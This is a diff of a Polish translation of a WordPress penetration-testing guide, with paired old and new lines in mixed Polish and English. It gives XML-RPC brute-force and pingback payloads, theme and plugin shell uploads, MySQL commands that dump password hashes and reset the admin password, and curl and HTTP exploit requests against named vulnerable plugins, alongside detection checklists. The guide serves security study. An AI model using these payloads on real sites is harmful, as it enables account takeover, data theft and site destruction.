**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
</params>
</methodCall>
```
Komunikat _"Incorrect username or password"_ w odpowiedzi ze statusem 200 powinien się pojawić, jeśli poświadczenia są nieprawidłowe.
Komunikat _"Nieprawidłowa nazwa użytkownika lub hasło"_ w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane logowania są nieprawidłowe.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Używając poprawnych danych logowania możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -174,12 +174,12 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
**Bypass 2FA**
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara — w związku z tym nie obsługuje 2FA. Jeśli więc masz valid creds, ale główny dostęp jest chroniony 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych z poziomu konsoli, ale nadal możesz dojść do RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główny dostęp jest chroniony przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** to **scan** some internal **network** (you can indicate any port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody i spowodować DDoS.
Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
**DDoS**
```html
@ -209,15 +209,15 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się
### wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu głównym strony Wordpress: **`/wp-cron.php`**\
Gdy ten plik zostanie **accessed**, wykonywane jest "**heavy**" zapytanie MySQL (**query**), więc może być użyty przez **attackers** do spowodowania **DoS**.\
Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem gdy klient żąda dowolnej strony Wordpress), co na serwisach o dużym ruchu może powodować problemy (DoS).
Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\
Kiedy do tego pliku jest **uzyskany dostęp**, wykonywane jest "**heavy**" MySQL **query**, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów).
Zaleca się wyłączyć Wp-Cron i utworzyć prawdziwe cronjob na hoście, które będą wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
### /wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie.
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wyać żądanie do Ciebie.
This is the response when it doesn't work:
@ -232,30 +232,30 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, a jeśli tak, próbuje je wykorzystać.
## Automatyczne narzędzia
## Narzędzia automatyczne
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Uzyskaj dostęp przez nadpisanie bitu
## Uzyskanie dostępu przez nadpisanie bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Można było więc odwrócić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP.
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modyfikacja pliku php z używanego motywu (potrzebne dane logowania admina)**
**Modyfikacja pliku php w używanym motywie (admin credentials needed)**
Wygląd → Edytor motywów → Szablon 404 (po prawej)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
![](<../../images/image (384).png>)
Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -263,14 +263,14 @@ Możesz użyć:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
aby uzyskać sesję.
to get a session.
## RCE przez wtyczkę
## Plugin RCE
### Wtyczka PHP
### PHP plugin
Możliwe, że da się przesłać pliki .php jako wtyczkę.
Utwórz swój php backdoor używając na przykład:
Może być możliwe przesłanie plików .php jako wtyczki.\
Utwórz swój backdoor w PHP używając na przykład:
![](<../../images/image (183).png>)
@ -278,70 +278,70 @@ Następnie dodaj nową wtyczkę:
![](<../../images/image (722).png>)
Prześlij wtyczkę i naciśnij Install Now:
Prześlij wtyczkę i naciśnij "Install Now":
![](<../../images/image (249).png>)
Kliknij na Procced:
Kliknij "Proceed":
![](<../../images/image (70).png>)
Prawdopodobnie to pozornie nic nie zrobi, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
Prawdopodobnie pozornie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
![](<../../images/image (462).png>)
Otwórz go, a zobaczysz URL do uruchomienia reverse shell:
Otwórz go, a zobaczysz URL do wykonania reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Ta metoda polega na instalacji złośliwej wtyczki, o której wiadomo, że jest podatna i którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez dashboard WordPress w następujący sposób:
Ta metoda polega na instalacji złośliwej wtyczki znanej z podatności, którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez WordPress dashboard w następujący sposób:
1. **Plugin Acquisition**: wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Wtyczka jest pobierana ze źródła takiego jak Exploit DB, np. [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Przejdź do panelu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`.
- Prześlij plik zip pobranej wtyczki.
3. **Plugin Activation**: Po pomyślnej instalacji wtyczkę należy aktywować przez dashboard.
- Przejdź do pulpitu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`.
- Prześlij plik zip z pobraną wtyczką.
3. **Plugin Activation**: Po pomyślnej instalacji wtyczka musi zostać aktywowana poprzez pulpit.
4. **Exploitation**:
- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z bycia podatną.
- Metasploit framework udostępnia exploit dla tej podatności. Załadowanie odpowiedniego modułu i wykonanie specyficznych poleceń pozwala uzyskać sesję meterpreter, dając nieautoryzowany dostęp do serwisu.
- Należy zauważyć, że to tylko jedna z wielu metod wykorzystania strony WordPress.
- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności.
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
- Należy zaznaczyć, że jest to tylko jedna z wielu metod eksploatacji strony WordPress.
Treść zawiera materiały wizualne przedstawiające kroki w dashboard WordPress dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest, aby zaznaczyć, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i jedynie w kontekście prawnym, takich jak testy penetracyjne z wyraźną zgodą.
Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress związane z instalacją i aktywacją wtyczki. Ważne jest jednak, aby pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i jedynie w kontekście prawnym, np. podczas testów penetracyjnych z wyraźnym pozwoleniem.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności typu **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. Po więcej informacji zobacz [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dostarcza **wsparcie dla wersji Wordpress 6.X.X, 5.X.X i 4.X.X i pozwala na:**
- _**Privilege Escalation:**_ Tworzy użytkownika w WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij własną wtyczkę (backdoor) do WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowaną wtyczkę w WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowany motyw w WordPress.
- _**(Custom) Custom Exploits:**_ Własne exploity dla third-party WordPress Plugins/Themes.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Wgraj swój niestandardowy plugin (backdoor) do WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane wtyczki w WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress.
- _**(Custom) Custom Exploits:**_ Niestandardowe exploity dla wtyczek/motywów firm trzecich WordPress.
## Post Exploitation
Wydobądź nazwy użytkowników i hasła:
Wyodrębnij nazwy użytkowników i hasła:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Zmień hasło administratora:
Zmień admin password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Pentest wtyczek Wordpress
### Powierzchnia ataku
Zrozumienie, w jaki sposób wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowe do odnalezienia podatności w jej działaniu. Możesz zobaczyć, w jaki sposób wtyczka może ujawniać funkcje w poniższych punktach oraz znaleźć kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Znajomość sposobu, w jaki wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjonalnościach. Możesz znaleźć, jak wtyczka może udostępniać funkcje, w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługi AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik zalogowany w instancji Wordpress może posiadać** (niezależnie od roli).
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, jest za pośrednictwem AJAX handlers. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często funkcje te będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik uwierzytelniony w instancji Wordpress może mieć** (niezależnie od jego roli).
Oto funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:
To są funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
> [!CAUTION]
> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany — zwykle nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień.
> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, to ta funkcja tylko weryfikuje, czy użytkownik jest zalogowany, zwykle nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań wymagających wyższych uprawnień.
- **REST API**
Możliwe jest również udostępnienie funkcji z wordpressa przez zarejestrowanie REST API za pomocą funkcji `register_rest_route`:
Możliwe jest również udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
The `permission_callback` jest funkcją zwrotną, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
- **Bezpośredni dostęp do pliku php**
- **Bezpośredni dostęp do pliku PHP**
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka udostępnia podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona możliwa do wykorzystania przez każdego użytkownika.
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z internetu. Jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty "trusted header" dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawienia aktualnego kontekstu użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i trafić na uprzywilejowane REST route'y jako administrator.
Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i uzyskać dostęp do uprzywilejowanych tras REST jako administrator.
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora przez utworzenie nowego administratora za pomocą core users REST route.
- Przykładowy header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora).
- Wykorzystywana ścieżka: `POST /wp-json/wp/v2/users` z tablicą z podwyższoną rolą.
- Impact: eskalacja uprawnień bez uwierzytelnienia do administratora przez utworzenie nowego administratora za pomocą core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -391,21 +391,21 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Dlaczego to działa
Why it works
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzanie uprawnień.
- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to przez bezpośrednie ustawienie kontekstu bieżącego użytkownika na podstawie nagłówka.
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
Oczekiwane wskaźniki sukcesu
Expected success indicators
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`.
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in `wp-admin/users.php`.
Lista kontrolna wykrywania
Detection checklist
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków.
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
### Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)
@ -436,35 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemy wprowadzone przez ten fragment:
* **Unauthenticated access** the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** każdy odwiedzający może wywołać endpoint.
* **No path sanitisation** ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do filesystem path bez filtrowania, co pozwala na klasyczny `../../` traversal.
* **Dostęp bez uwierzytelnienia** hook `wp_ajax_nopriv_` jest zarejestrowany.
* **Brak sprawdzenia nonce / uprawnień** każdy odwiedzający może trafić w endpoint.
* **Brak sanityzacji ścieżki** ciąg kontrolowany przez użytkownika `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, umożliwiając klasyczne przejście `../../`.
#### Eksploatacja
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *kreatora instalacji* przy następnej wizycie, umożliwiając pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy konto admina).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać security plugins) lub reguły `.htaccess`.
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### Lista kontrolna wykrywania
#### Detection checklist
* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.).
* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
---
### Eskalacja uprawnień przez przywracanie przestarzałych ról i brak autoryzacji (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Wiele pluginów implementuje funkcję "view as role" lub tymczasowej zmiany roli poprzez zapisanie oryginalnej(ych) roli(i) w user meta, aby móc je przywrócić później. Jeśli ścieżka przywracania opiera się jedynie na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, staje się to wertykalną eskalacją uprawnień.
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Dlaczego jest to eksploatowalne
Dlaczego jest to podatne
- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, przechodząc na ścieżkę resetu.
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
Exploitation (example)
Eksploatacja (przykład)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -493,23 +493,23 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
W podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
W podatnych wersjach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), efektywnie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które zapisują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`).
- Szukaj funkcji przełączania ról, które przechowują “oryginalne role” w user meta (np. `_asenha_view_admin_as_original_roles`).
- Zidentyfikuj ścieżki reset/restore, które:
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` oraz `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora.
- Modyfikują role przez `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie opcji pluginu (np. `viewing_admin_as_role_are`) zamiast uprawnień aktora.
---
### Nieautoryzowana eskalacja uprawnień przez przełączanie użytkownika oparte na zaufanym ciasteczku na publicznym init (Service Finder “sf-booking”)
### Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika polegające na zaufaniu do cookie na publicznym hooku `init` (Service Finder “sf-booking”)
Niektóre wtyczki podpinają helpery do user-switching pod publiczny hook `init` i pobierają tożsamość z ciasteczka kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, każdy nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
Niektóre pluginy podłączają pomocniki przełączania użytkownika do publicznego hooka `init` i odczytują tożsamość z cookie kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, dowolny niezalogowany odwiedzający może wymusić logowanie jako dowolny identyfikator użytkownika.
Typowy podatny wzorzec (uproszczone z Service Finder Bookings ≤ 6.1):
Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -538,11 +538,11 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
Dlaczego jest to podatne
Dlaczego jest podatne
- Publiczny hook `init` sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
- Tożsamość jest odczytywana z cookie modyfikowalnego po stronie klienta (`original_user_id`).
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez jakichkolwiek sprawdzeń capability/nonce.
- Tożsamość pochodzi z ciasteczka modyfikowalnego po stronie klienta (`original_user_id`).
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje osobę wysyłającą żądanie jako tego użytkownika bez żadnych sprawdzeń uprawnień ani nonce.
Eksploatacja (bez uwierzytelnienia)
```http
@ -554,26 +554,26 @@ Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
### Rozważania dotyczące WAF dla WordPress/plugin CVEs
